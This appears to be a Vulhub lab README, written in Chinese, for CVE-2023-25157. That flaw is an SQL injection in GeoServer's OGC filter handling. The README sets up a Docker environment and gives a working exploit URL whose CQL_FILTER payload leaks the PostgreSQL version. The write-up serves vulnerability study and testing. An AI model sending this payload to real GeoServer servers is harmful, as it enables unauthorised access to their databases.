Aaron
63285f61aa
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40 lines
1.4 KiB
Markdown
40 lines
1.4 KiB
Markdown
# GeoServer OGC Filter SQL注入漏洞（CVE-2023-25157）
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GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现，利用 GeoServer 可以方便的发布地图数据，允许用户对特征数据进行更新、删除、插入操作。
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在版本2.22.1和2.21.4及以前，多个OGC表达式中均存在SQL注入漏洞。
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参考链接：
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- <https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158>
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- <https://github.com/advisories/GHSA-7g5f-wrx8-5ccf>
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## 漏洞环境
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执行如下命令启动一个GeoServer 2.22.1：
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```
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docker compose up -d
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```
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环境启动后，访问`http://your-ip:8080/geoserver`即可查看到GeoServer的首页。
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## 漏洞复现
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在利用漏洞前，需要目标服务器中存在类型是PostGIS的数据空间（datastore）和工作空间（workspace）。在Vulhub中，已经包含满足条件的工作空间，其信息如下：
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- Workspace name: `vulhub`
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- Data store name: `pg`
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- Feature type (table) name: `example`
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- One of attribute from feature type: `name`
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利用这些已知参数，发送如下URL即可触发SQL注入漏洞：
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```
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http://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true
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```
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可见，已经使用SQL注入获取到了目标服务器PostgreSQL的版本。
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